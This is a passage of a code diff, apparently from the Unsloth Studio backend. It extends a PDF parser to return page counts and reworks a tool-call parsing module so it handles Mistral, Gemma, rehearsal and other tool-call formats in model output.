                             )
                         )
     finally:
         doc.close()
-    return pages, images
+    return pages, images, total_pages
+
+
+def parse_pdf_bytes(data: bytes, *, max_pages: int | None = None) -> tuple[list[Page], int]:
+    """Extract PDF pages from an in-memory download using the ingestion parser.
+
+    Returns the (capped) pages plus the document's full page count, so a caller
+    that set ``max_pages`` can tell a fully-read short PDF from a truncated one."""
+    pages, _images, total_pages = _pdf(data, want_images = False, max_pages = max_pages)
+    return pages, total_pages
 
 
 def _merge_rects(boxes: list) -> list:
@@ -416,7 +441,7 @@ def parse(path: str, *, want_images: bool = False):
     ext = os.path.splitext(path)[1].lower()
 
     if ext == ".pdf":
-        pages, images = _pdf(path, want_images)
+        pages, images, _total = _pdf(path, want_images)
         return (pages, images) if want_images else pages
 
     if ext == ".docx":
diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py
index fe26d48c7f..94d0e40ea7 100644
--- a/studio/backend/core/tool_healing.py
+++ b/studio/backend/core/tool_healing.py
@@ -1,38 +1,139 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+#
+# Bracket-tag, rehearsal, and thinking-block-strip logic adapted from forge
+# (https://github.com/antoinezambelli/forge), Copyright (c) 2025-2026
+# Antoine Zambelli, used under the MIT License.
 
-"""Lightweight tool-call XML parsing and stripping helpers.
+"""Lightweight tool-call parsing and stripping helpers.
 
 External inference servers import this module without pulling in the inference
-orchestrator, structlog, httpx, or the rest of the studio backend.
+orchestrator, structlog, httpx, or the rest of the studio backend. Kept in
+lockstep with ``core/inference/tool_call_parser.py`` so those servers
+(llama-server wrappers, llama-swap, custom shims) reuse the same logic. Any
+change here must also land there.
+
+Handles these serializations (see ``parse_tool_calls_from_text``):
+
+* ``<tool_call>{json}</tool_call>``
+* ``<|tool_call>call:name{...}<tool_call|>`` (Gemma)
+* ``<function=name><parameter=k>v</parameter></function>``
+* ``[TOOL_CALLS]name{json}`` (Mistral / Devstral fallback)
+* ``name[ARGS]{json}`` (reasoning-model rehearsal)
 """
 
+# PEP 604 annotations must stay import-safe on Python 3.9 (requires-python >=3.9).
+from __future__ import annotations
+
+import bisect
 import json
 import re
 
-# Pre-compiled patterns for tool XML stripping. The hyphen in the name
-# char-class lets dashed MCP tool/parameter names (mcp__srv__list-issues,
-# issue-number) parse alongside the built-ins.
+# One nesting level in the strip regexes; deeper may leak markup (still parsed).
+_BRACKETED_JSON_ONE_LEVEL = r"\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}"
+
+# Rehearsal ``name[ARGS]{..}`` strips; group 1 = name for tool-list gating. Closed =
+# complete body, tail = truncated; ``(?<!\[CALL_ID\])`` keeps the v11 call-id from reading as a name.
+_REHEARSAL_CLOSED_STRIP_RE = re.compile(
+    r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*" + _BRACKETED_JSON_ONE_LEVEL, re.DOTALL
+)
+_REHEARSAL_TAIL_STRIP_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?:\{.*)?$", re.DOTALL)
+
+# Tool-XML strip patterns; hyphen in the name class covers dashed MCP names.
+# Closed-pair patterns are named so _PAT_REQUIRED_TOKEN can skip a doomed lazy rescan when
+# the close token is absent: an unguarded ``<tag>.*?</tag>`` rescans to EOF from every opener
+# (quadratic on a stream of unclosed openers). Also reused by the quote-aware Gemma pre-pass.
+_TC_JSON_CLOSED_PAT = re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL)
+_TC_GEMMA_CLOSED_PAT = re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL)
+_TC_FUNC_CLOSED_PAT = re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL)
 _TOOL_CLOSED_PATS = [
-    re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
-    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+    _TC_JSON_CLOSED_PAT,
+    _TC_GEMMA_CLOSED_PAT,
     re.compile(r"<tool_call\|>"),
-    re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL),
+    _TC_FUNC_CLOSED_PAT,
+    # Mirror the parser regexes: tolerate whitespace and v11 [CALL_ID]/[ARGS] metadata.
+    re.compile(
+        r"\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*"
+        + _BRACKETED_JSON_ONE_LEVEL,
+        re.DOTALL,
+    ),
+    _REHEARSAL_CLOSED_STRIP_RE,
+    # Drop the bare v11 [/TOOL_CALLS] closer the balanced scan leaves behind.
+    re.compile(r"\[/TOOL_CALLS\]"),
 ]
-_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
+# Bare open markers strip a partial call mid-stream; the rehearsal tail needs `{` or EOF
+# so prose ``foo[ARGS]`` survives. The XML open-tail forms reach EOF and are reused by
+# _tool_call_markup_spans (a think tag in an unclosed call's args stays argument data).
+_TOOL_OPEN_XML_TAIL_PATS = [
     re.compile(r"<tool_call>.*$", re.DOTALL),
     re.compile(r"<\|tool_call>.*$", re.DOTALL),
     re.compile(r"<function=[\w-]+>.*$", re.DOTALL),
 ]
+_TOOL_ALL_PATS = (
+    _TOOL_CLOSED_PATS
+    + _TOOL_OPEN_XML_TAIL_PATS
+    + [
+        re.compile(r"\[TOOL_CALLS\].*$", re.DOTALL),
+        _REHEARSAL_TAIL_STRIP_RE,
+    ]
+)
+
+# Rehearsal strips (name in group 1); name-gated via ``enabled_tool_names``, strip-all when None.
+_REHEARSAL_STRIP_PATS = frozenset({_REHEARSAL_CLOSED_STRIP_RE, _REHEARSAL_TAIL_STRIP_RE})
+
+# Stripped before the quote-aware Gemma helper so a Gemma opener quoted in argument
+# data cannot make the helper truncate the block and its tail.
+_TOOL_CLOSED_BLOCK_PATS = [_TC_JSON_CLOSED_PAT, _TC_FUNC_CLOSED_PAT]
+# A lazy closed-pair pattern whose close token is absent would rescan to EOF from every
+# opener; skip that doomed (quadratic) pass. Shared by both strip helpers.
+_PAT_REQUIRED_TOKEN = {
+    _TC_JSON_CLOSED_PAT: "</tool_call>",
+    _TC_GEMMA_CLOSED_PAT: "<tool_call|>",
+    _TC_FUNC_CLOSED_PAT: "</function>",
+}
+
+
+def strip_tool_patterns(text: str, patterns) -> str:
+    """Apply ``patterns`` in order, skipping closed-pair passes with no close token."""
+    for pat in patterns:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        text = pat.sub("", text)
+    return text
+
+
+def apply_tool_strip_patterns(
+    text: str,
+    patterns,
+    enabled_tool_names = None,
+) -> str:
+    """Apply strip ``patterns`` to ``text``. A bare rehearsal ``name[ARGS]{..}`` pattern
+    strips only when ``name`` is an enabled tool (or when ``enabled_tool_names`` is
+    ``None``); every other pattern is removed unconditionally. A closed-pair pattern whose
+    close token is absent is skipped so an unclosed-marker stream stays linear."""
+    for pat in patterns:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        if enabled_tool_names is not None and pat in _REHEARSAL_STRIP_PATS:
+            text = pat.sub(lambda m: "" if m.group(1) in enabled_tool_names else m.group(0), text)
+        else:
+            text = pat.sub("", text)
+    return text
+
 
 # Pre-compiled patterns for tool-call XML parsing.
-_TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
-_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>call:([\w-]+)\s*\{")
+# <|content_invoke_tool_json|> is TML Inkling's native call marker; its JSON uses
+# an ``args`` key and the block closes with <|end_message|>.
+_TC_JSON_START_RE = re.compile(r"(?:<tool_call>|<\|content_invoke_tool_json\|>)\s*\{")
+_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w.\-]+)\s*\{")
 _TC_FUNC_START_RE = re.compile(r"<function=([\w-]+)>\s*")
-_TC_END_TAG_RE = re.compile(r"</tool_call>")
+_TC_END_TAG_RE = re.compile(r"</tool_call>|<\|end_message\|>")
 _TC_GEMMA_END_TAG_RE = re.compile(r"<tool_call\|>")
 _TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
-_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>\s*")
+# Horizontal-whitespace trailing class keeps the wrapping newline; _trim_param_value trims it.
+_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>[^\S\n]*")
 _TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
 _GEMMA_QUOTE = '<|"|>'
 _PARAM_CLOSE_TAG = "</parameter>"
@@ -43,7 +144,62 @@ _FUNC_CLOSE_TAG = "</function>"
 # must be identifier-shaped (start with a letter or underscore); a comma
 # followed by digits-then-colon is value text such as a timestamp or ratio
 # (`meet at 10:00, 11:00 tomorrow`), not a new key.
-_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w-]*\s*:")
+_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w.\-]*\s*:")
+
+# A candidate starting inside a think block is a rehearsal (block kept so literal tags in
+# real args survive); ``$`` accepts an unclosed block mid-stream.
+_THINK_TAG_RE = re.compile(r"<think>.*?(?:</think>|$)|\[THINK\].*?(?:\[/THINK\]|$)", re.DOTALL)
+# Bare open/close markers for prefilled-reasoning turns (template opens <think> in the prompt).
+_THINK_OPEN_RE = re.compile(r"<think>|\[THINK\]")
+_THINK_CLOSE_RE = re.compile(r"</think>|\[/THINK\]")
+
+# Mistral canonical array: [TOOL_CALLS] + JSON list of {"name","arguments"} objects.
+_MISTRAL_ARRAY_RE = re.compile(r"\[TOOL_CALLS\]\s*(?=\[)")
+
+# Mistral name form + v11 [ARGS]/[CALL_ID] shapes; [CALL_ID] is metadata, not the name,
+# and hyphens keep dashed MCP names whole.
+_MISTRAL_BRACKET_RE = re.compile(
+    r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
+)
+
+# Rehearsal ``name[ARGS]{json}`` (no [TOOL_CALLS]); the lookbehind keeps the v11 call-id
+# from being taken as the function name.
+_REHEARSAL_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
+
+# Above this size skip the balanced scan; the linear regex catch-all bounds pathological output.
+_MAX_BRACKET_SCAN_CHARS = 1_000_000
+
+
+def _balanced_json_span(text: str, start: int) -> int | None:
+    """Return the end index of a balanced JSON object opening at ``start``,
+    or ``None`` if the braces don't balance. Honors escapes and strings.
+    """
+    if start >= len(text) or text[start] != "{":
+        return None
+    depth = 0
+    in_string = False
+    escape = False
+    for j in range(start, len(text)):
+        ch = text[j]
+        if escape:
+            escape = False
+            continue
+        if ch == "\\":
+            escape = True
+            continue
+        if in_string:
+            if ch == '"':
+                in_string = False
+            continue
+        if ch == '"':
+            in_string = True
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return j
+    return None
 
 
 def _balanced_brace_end(
@@ -109,6 +265,94 @@ def _balanced_bracket_end(src: str, start: int) -> int:
     return -1
 
 
+def _decode_array_items(text: str, body_start: int, body_end: int):
+    """Return ``(objs, ends)`` for each top-level element of the JSON array between
+    ``body_start`` (at or before its ``[``) and ``body_end`` (exclusive): the decoded
+    object and its absolute exclusive end offset.
+
+    Decoding element-by-element with ``raw_decode`` tolerates the comma-less object
+    separators the repo's own Mistral/Ollama multi-call templates emit
+    (``[{...}{...}]``; see ollama_template_mappers.py). A single ``json.loads`` of the
+    whole body rejects that form and would drop every call. The ends also tile the
+    region across the calls' spans so a with_spans consumer strips each exactly once."""
+    decoder = json.JSONDecoder()
+    objs: list = []
+    ends: list[int] = []
+    i = text.find("[", body_start)
+    if i < 0:
+        return objs, ends
+    i += 1
+    while i < body_end:
+        while i < body_end and text[i] in " \t\r\n,":
+            i += 1
+        if i >= body_end or text[i] == "]":
+            break
+        try:
+            obj, rel = decoder.raw_decode(text[i:body_end])
+        except (json.JSONDecodeError, ValueError):
+            break
+        i += rel
+        objs.append(obj)
+        ends.append(i)
+    return objs, ends
+
+
+def _iter_bracket_spans(
+    text: str,
+    start: int = 0,
+    enabled_tool_names = None,
+):
+    """Yield ``(span_start, span_end, kind, match)`` for each balanced bracket-tag
+    call from ``start`` on, in document order; ``span_end`` exclusive. ``kind`` is
+    ``"array"`` ([TOOL_CALLS] [..]), ``"name"`` ([TOOL_CALLS]name{..}, incl. v11
+    [CALL_ID]/[ARGS]) or ``"rehearsal"`` (name[ARGS]{..}).
+
+    ``enabled_tool_names`` (set, or None = unrestricted) gates only the ambiguous
+    bare rehearsal form: name[ARGS]{..} is a call ONLY when ``name`` is enabled, so a
+    prose ``foo[ARGS]{..}`` (foo disabled) is neither parsed nor stripped. Explicit
+    [TOOL_CALLS] markers stay unconditional, keeping parse/strip/detection symmetric.
+
+    Balance-only (no JSON validation) so strip and parse share one scan. The cursor
+    jumps past each consumed span, so a marker inside consumed JSON is never
+    re-matched and each regex re-searches only once its match falls behind: linear."""
+    n = len(text)
+    specs = (
+        ("array", _MISTRAL_ARRAY_RE),
+        ("name", _MISTRAL_BRACKET_RE),
+        ("rehearsal", _REHEARSAL_RE),
+    )
+    nexts = {kind: rx.search(text, start) for kind, rx in specs}
+    cursor = start
+    while cursor < n:
+        for kind, rx in specs:
+            m = nexts[kind]
+            if m is not None and m.start() < cursor:
+                nexts[kind] = rx.search(text, cursor)
+        live = [(kind, m) for kind, m in nexts.items() if m is not None]
+        if not live:
+            return
+        kind, m = min(live, key = lambda km: km[1].start())
+        if kind == "array":
+            end = _balanced_bracket_end(text, m.end())
+            end = None if end < 0 else end
+        else:
+            end = _balanced_json_span(text, m.end())
+        if end is None:
+            # Truncated body: skip and keep scanning; the caller's catch-all strips the tail.
+            cursor = m.end()
+            continue
+        if (
+            kind == "rehearsal"
+            and enabled_tool_names is not None
+            and m.group(1) not in enabled_tool_names
+        ):
+            # Inactive-name rehearsal is prose: advance past its body without yielding.
+            cursor = end + 1
+            continue
+        yield (m.start(), end + 1, kind, m)
+        cursor = end + 1
+
+
 def _split_top_level_commas(src: str) -> list:
     """Split on commas that are not inside a nested ``[]``/``{}`` or a string."""
     parts: list[str] = []
@@ -223,7 +467,7 @@ def _quote_gemma_object_keys(src: str) -> str:
         while i < len(src) and src[i].isspace():
             i += 1
         key_name_start = i
-        while i < len(src) and (src[i].isalnum() or src[i] in "_-"):
+        while i < len(src) and (src[i].isalnum() or src[i] in "_-."):
             i += 1
         key_name = src[key_name_start:i]
         colon_pos = i
@@ -267,7 +511,8 @@ def _quote_gemma_object_keys(src: str) -> str:
                     json.loads(raw.strip())
                     parts.append(raw)
                 except (json.JSONDecodeError, ValueError):
-                    parts.append(json.dumps(raw.strip()) if raw.strip() else raw)
+                    # Quote bare value; empty ({k:}) becomes "" so json.loads sees {"k":""} not invalid {"k":}.
+                    parts.append(json.dumps(raw.strip()))
         else:
             parts.append(src[key_start:i])
     return "".join(parts)
@@ -291,9 +536,99 @@ def _inside_open_parameter(content: str, pos: int) -> bool:
         last_param_start = match.start()
     if last_param_start < 0:
         return False
-    last_param_close = content.rfind(_PARAM_CLOSE_TAG, 0, pos)
-    last_func_close = content.rfind(_FUNC_CLOSE_TAG, 0, pos)
-    return last_param_start > max(last_param_close, last_func_close)
+    # The parameter's OWN close tag decides: if it closes after ``pos`` the position is
+    # argument data (even across literal function closes); an unclosed one falls back to func close.
+    own_close = content.find(_PARAM_CLOSE_TAG, last_param_start)
+    if own_close >= 0:
+        return own_close > pos
+    func_close = content.find(_FUNC_CLOSE_TAG, last_param_start)
+    return func_close < 0 or pos < func_close
+
+
+def _func_close_index(content: str, body_start: int, body: str) -> int:
+    """Index in ``body`` of the first ``</function>`` that is not argument
+    data (not inside an open parameter value); -1 when every close is data.
+    Taking the LAST close swallowed prose between the real close and a
+    literal ``</function>`` mentioned later in the answer."""
+    idx = body.find(_FUNC_CLOSE_TAG)
+    while idx >= 0:
+        if not _inside_open_parameter(content, body_start + idx):
+            return idx
+        idx = body.find(_FUNC_CLOSE_TAG, idx + 1)
+    return -1
+
+
+def _trim_param_value(val: str) -> str:
+    """Trim the single wrapping newline the chat template adds around an XML
+    parameter value, preserving indentation inside VALUE (``str.strip()`` destroyed
+    code/diff argument indentation)."""
+    if val.startswith("\n"):
+        val = val[1:]
+    if val.endswith("\n"):
+        val = val[:-1]
+    return val
+
+
+def _marker_coverage(content: str, markers) -> list[tuple[int, int]]:
+    """Coverage ``[start, end]`` per marker, used to skip markers that are another
+    call's data. Closes pair to markers via a per-format stack so an inner close
+    is not mistaken for the outer's. Unbalanced braces cover to EOF; balanced with
+    a paired close cover through it (markers before the close are data); balanced
+    without one cover only the braces, so a later sibling is still recovered."""
+    n = len(content)
+    brace_regions = [(s, be) for (s, be, _k, _m) in markers if be >= 0]
+    events = []  # (position, order) with order 0 = braces-done, 1 = close marker
+    for idx, (_start, brace_end, _kind, _m) in enumerate(markers):
+        if brace_end >= 0:
+            events.append((brace_end, 0, _kind, idx))
+    for kind, close_re in (("json", _TC_END_TAG_RE), ("gemma", _TC_GEMMA_END_TAG_RE)):
+        for cm in close_re.finditer(content):
+            # A close inside another call's balanced braces is quoted data; it
+            # must not pop an earlier close-less marker and swallow a sibling.
+            if any(s < cm.start() < be for s, be in brace_regions):
+                continue
+            events.append((cm.start(), 1, kind, cm.end()))
+    events.sort(key = lambda e: (e[0], e[1]))
+    waiting = {"json": [], "gemma": []}
+    close_end_for: dict[int, int] = {}
+    for _pos, order, kind, payload in events:
+        if order == 0:
+            waiting[kind].append(payload)  # marker index, now awaiting its close
+        elif waiting[kind]:
+            close_end_for[waiting[kind].pop()] = payload  # innermost open marker closes here
+    coverage = []
+    for idx, (start, brace_end, _kind, _m) in enumerate(markers):
+        if brace_end < 0:
+            coverage.append((start, n))
+        elif idx in close_end_for:
+            coverage.append((start, close_end_for[idx]))
+        else:
+            coverage.append((start, brace_end))
+    return coverage
+
+
+def _build_markers(content: str):
+    """JSON/Gemma tool markers as ``(start, brace_end, kind, match)`` in document
+    order; ``brace_end < 0`` marks an unbalanced (to-EOF) open."""
+    markers = []
+    for start_re, gemma, kind in (
+        (_TC_JSON_START_RE, False, "json"),
+        (_TC_GEMMA_START_RE, True, "gemma"),
+    ):
+        for m in start_re.finditer(content):
+            if _inside_open_parameter(content, m.start()):
+                continue
+            brace_end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = gemma)
+            markers.append((m.start(), brace_end, kind, m))
+    markers.sort(key = lambda c: c[0])
+    return markers
+
+
+def marker_coverage(content: str) -> list[tuple[int, int]]:
+    """Coverage spans of JSON/Gemma tool markers so other parsers can treat markup
+    inside a marker's coverage (even a marker that failed to parse) as that call's
+    data rather than a sibling call."""
+    return _marker_coverage(content, _build_markers(content))
 
 
 def parse_tool_calls_from_text(
@@ -301,67 +636,161 @@ def parse_tool_calls_from_text(
     *,
     id_offset: int = 0,
     allow_incomplete: bool = True,
-) -> list[dict]:
+    enabled_tool_names = None,
+    with_spans: bool = False,
+):
     """Parse OpenAI-format tool calls from model text.
 
     Handles formats like:
       <tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>
       <|tool_call>call:web_search{query:"..."}<tool_call|>
       <tool_call><function=web_search><parameter=query>...</parameter></function></tool_call>
-    """
-    tool_calls: list[dict] = []
-    # Collect JSON- and Gemma-format candidates with their byte spans, then
-    # accept them in document order. Both order and spans matter:
-    #   * tools execute in returned order, so a call appearing earlier in the
-    #     text must be emitted first even across the two formats;
-    #   * a tool-call marker INSIDE another call's argument string is data, not a
-    #     call, so a candidate starting within an already accepted span is
-    #     skipped (covers a JSON marker nested in a Gemma arg and a Gemma marker
-    #     nested in a JSON arg alike, regardless of which format is outer).
-    candidates = []  # (start, brace_end, kind, match)
-    for m in _TC_JSON_START_RE.finditer(content):
-        # A marker that begins inside an open <function=...><parameter=...> value
-        # is that parameter's data, not its own call; skip it (same guard the
-        # XML-style parser below applies to nested <function= markers).
-        if _inside_open_parameter(content, m.start()):
-            continue
-        end = _balanced_brace_end(content, m.end() - 1)
-        if end >= 0:
-            candidates.append((m.start(), end, "json", m))
-    for m in _TC_GEMMA_START_RE.finditer(content):
-        if _inside_open_parameter(content, m.start()):
-            continue
-        end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = True)
-        if end >= 0:
-            candidates.append((m.start(), end, "gemma", m))
-    candidates.sort(key = lambda c: c[0])
+      [TOOL_CALLS]web_search{"query":"..."}        (Mistral / Devstral fallback)
+      web_search[ARGS]{"query":"..."}             (reasoning-model rehearsal)
 
-    spans = [(s, e) for s, e, _kind, _m in candidates]
-    for idx, (start, end, kind, m) in enumerate(candidates):
-        # Skip a candidate nested inside another candidate's brace span: it is
-        # the enclosing call's argument data, not its own call. Checked against
-        # every candidate span (not only the ones that parsed successfully), so a
-        # marker inside an outer call that later fails to normalize is still
-        # never promoted to its own executable tool call.
-        if any(s <= start and end <= e for j, (s, e) in enumerate(spans) if j != idx):
+    A call rehearsed inside a ``<think>`` / ``[THINK]`` block is skipped, not
+    executed; the block is kept so a literal tag in a real argument is preserved.
+
+    With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]``
+    is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup
+    in ``content`` (including its close tag when present), so a caller can
+    remove exactly the parsed markup and keep every other byte intact.
+    """
+    # Candidates starting inside a think block are rehearsals, skipped; blocks are kept, and a
+    # think marker opening inside a call is argument data (excluded from spans).
+    _think_spans = _think_spans_outside_tool_markup(content)
+    _think_starts = [s for s, _e in _think_spans]
+
+    def _in_think(pos: int) -> bool:
+        # Spans are ordered and non-overlapping; bisect gives O(log M) per candidate.
+        i = bisect.bisect_right(_think_starts, pos) - 1
+        return i >= 0 and _think_spans[i][0] <= pos < _think_spans[i][1]
+
+    tool_calls: list[dict] = []
+    call_spans: list[tuple] = []
+    # Collect JSON/Gemma markers; _marker_coverage decides nesting so a marker inside
+    # another call's coverage (even one that failed to parse) is data, not executed. A
+    # marker opening inside a think block is a rehearsal and is skipped.
+    parsed_items = []  # (start, span_end, name, arguments) in document order
+    markers = [mk for mk in _build_markers(content) if not _in_think(mk[0])]
+    coverage = _marker_coverage(content, markers)
+    for idx, (start, brace_end, kind, m) in enumerate(markers):
+        if any(s <= start < e for j, (s, e) in enumerate(coverage) if j != idx):
             continue
+        if brace_end < 0:
+            continue  # unclosed: not parseable; the fallback still excludes its XML
         if not allow_incomplete:
-            tail = content[end + 1 :].lstrip()
+            tail = content[brace_end + 1 :].lstrip()
             close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
             if close_re.match(tail) is None:
                 continue
         try:
             if kind == "json":
-                obj = json.loads(content[m.end() - 1 : end + 1])
+                obj = json.loads(content[m.end() - 1 : brace_end + 1])
                 name = obj.get("name", "")
-                arguments = obj.get("arguments", {})
+                # Accept ``parameters`` alias for ``arguments`` (Llama-3.2 drift inside
+                # Hermes) and ``args`` (TML Inkling native calls).
+                arguments = obj.get("arguments")
+                if arguments is None:
+                    arguments = obj.get("parameters")
+                if arguments is None:
+                    arguments = obj.get("args", {})
                 if isinstance(arguments, dict):
                     arguments = json.dumps(arguments)
+                # Inkling echoes the bare tool name (and a role opener) before the
+                # marker: <|message_model|>NAME<|content_invoke_tool_json|>{...}.
+                # Fold that echo into the markup span so promotion removes it too.
+                if name and content.startswith("<|content_invoke_tool_json|>", start):
+                    pre = content[:start]
+                    if pre.endswith(name):
+                        start -= len(name)
+                        if content[:start].endswith("<|message_model|>"):
+                            start -= len("<|message_model|>")
             else:
                 name = m.group(1)
-                arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : end]))
+                arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : brace_end]))
         except (json.JSONDecodeError, ValueError):
             continue
+        span_end = brace_end + 1
+        close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
+        ws = len(content[span_end:]) - len(content[span_end:].lstrip())
+        close_m = close_re.match(content, span_end + ws)
+        if close_m:
+            span_end = close_m.end()
+        parsed_items.append((start, span_end, name, arguments))
+
+    func_starts = [
+        fm
+        for fm in _TC_FUNC_START_RE.finditer(content)
+        if not _inside_open_parameter(content, fm.start())
+        and not _in_think(fm.start())
+        and not any(s <= fm.start() < e for s, e in coverage)
+    ]
+    for idx, fm in enumerate(func_starts):
+        func_name = fm.group(1)
+        body_start = fm.end()
+        next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
+        end_tag = _TC_END_TAG_RE.search(content[body_start:])
+        if end_tag:
+            body_end = body_start + end_tag.start()
+        else:
+            body_end = len(content)
+        body_end = min(body_end, next_func)
+        body = content[body_start:body_end]
+        close_idx = _func_close_index(content, body_start, body)
+        if close_idx >= 0:
+            span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
+            body = body[:close_idx]
+        elif not allow_incomplete:
+            continue
+        else:
+            body = _TC_FUNC_CLOSE_RE.sub("", body)
+            span_end = body_end
+
+        arguments: dict = {}
+        param_starts = list(_TC_PARAM_START_RE.finditer(body))
+        if len(param_starts) == 1:
+            pm = param_starts[0]
+            val = body[pm.end() :]
+            if not allow_incomplete:
+                stripped_val = val.rstrip()
+                if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                    continue
+                val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+            else:
+                val = _TC_PARAM_CLOSE_RE.sub("", val)
+            arguments[pm.group(1)] = _trim_param_value(val)
+        else:
+            valid_params = True
+            for pidx, pm in enumerate(param_starts):
+                param_name = pm.group(1)
+                val_start = pm.end()
+                next_param = (
+                    param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
+                )
+                val = body[val_start:next_param]
+                if not allow_incomplete:
+                    stripped_val = val.rstrip()
+                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                        valid_params = False
+                        break
+                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+                else:
+                    val = _TC_PARAM_CLOSE_RE.sub("", val)
+                arguments[param_name] = _trim_param_value(val)
+            if not valid_params:
+                continue
+
+        span_start = fm.start()
+        wrap_open = re.search(r"<tool_call>\s*$", content[:span_start])
+        wrap_close = re.match(r"\s*</tool_call>", content[span_end:])
+        if wrap_open and wrap_close:
+            span_start = wrap_open.start()
+            span_end += wrap_close.end()
+        parsed_items.append((span_start, span_end, func_name, json.dumps(arguments)))
+
+    parsed_items.sort(key = lambda item: item[0])
+    for start, span_end, name, arguments in parsed_items:
         tool_calls.append(
             {
                 "id": f"call_{id_offset + len(tool_calls)}",
@@ -369,88 +798,294 @@ def parse_tool_calls_from_text(
                 "function": {"name": name, "arguments": arguments},
             }
         )
+        call_spans.append((start, span_end))
 
+    # Patterns 3+4: Mistral [TOOL_CALLS] and bare rehearsal via one balanced scan in document
+    # order, so a Mistral call and a rehearsal in one message both parse.
     if not tool_calls:
-        func_starts = [
-            fm
-            for fm in _TC_FUNC_START_RE.finditer(content)
-            if not _inside_open_parameter(content, fm.start())
-        ]
-        for idx, fm in enumerate(func_starts):
-            func_name = fm.group(1)
-            body_start = fm.end()
-            next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
-            end_tag = _TC_END_TAG_RE.search(content[body_start:])
-            if end_tag:
-                body_end = body_start + end_tag.start()
-            else:
-                body_end = len(content)
-            body_end = min(body_end, next_func)
-            body = content[body_start:body_end]
-            if not allow_incomplete:
-                close_idx = body.rfind(_FUNC_CLOSE_TAG)
-                if close_idx < 0:
+        for start, end, kind, m in _iter_bracket_spans(
+            content, enabled_tool_names = enabled_tool_names
+        ):
+            if _in_think(start):
+                continue
+            # Extend the region over an immediately-following v11 closer so with_spans consumers strip it too.
+            closer = re.match(r"\s*\[/TOOL_CALLS\]", content[end:])
+            region_end = end + closer.end() if closer else end
+            if kind == "array":
+                # Decode elements individually (comma-tolerant): one json.loads of the whole
+                # body rejects the comma-less multi-call arrays Mistral/Ollama templates emit.
+                payload, item_ends = _decode_array_items(content, m.end(), end)
+                if not payload:
                     continue
-                body = body[:close_idx]
-            else:
-                body = _TC_FUNC_CLOSE_RE.sub("", body)
-
-            arguments: dict = {}
-            param_starts = list(_TC_PARAM_START_RE.finditer(body))
-            if len(param_starts) == 1:
-                pm = param_starts[0]
-                val = body[pm.end() :]
-                if not allow_incomplete:
-                    stripped_val = val.rstrip()
-                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                # Tile the region so every byte belongs to exactly one span; a with_spans consumer
+                # keeps skipped bytes visible and strips promoted markup exactly once.
+                tile_start = start
+                last_span_idx = -1
+                for item_idx, item in enumerate(payload):
+                    if not isinstance(item, dict) or "name" not in item:
                         continue
-                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                else:
-                    val = _TC_PARAM_CLOSE_RE.sub("", val)
-                arguments[pm.group(1)] = val.strip()
-            else:
-                valid_params = True
-                for pidx, pm in enumerate(param_starts):
-                    param_name = pm.group(1)
-                    val_start = pm.end()
-                    next_param = (
-                        param_starts[pidx + 1].start()
-                        if pidx + 1 < len(param_starts)
-                        else len(body)
+                    args = item.get("arguments", {})
+                    if isinstance(args, str):
+                        # ``arguments`` may itself be a JSON string (OpenAI spec).
+                        try:
+                            args = json.loads(args)
+                        except (json.JSONDecodeError, ValueError):
+                            pass
+                    if not isinstance(args, (dict, str)):
+                        # ``"arguments": null`` (or any non-object scalar) becomes {} like the
+                        # <tool_call> path, not the string "null" auto-heal would mangle to
+                        # a bogus {"query":"null"}.
+                        args = {}
+                    tool_calls.append(
+                        {
+                            "id": f"call_{id_offset + len(tool_calls)}",
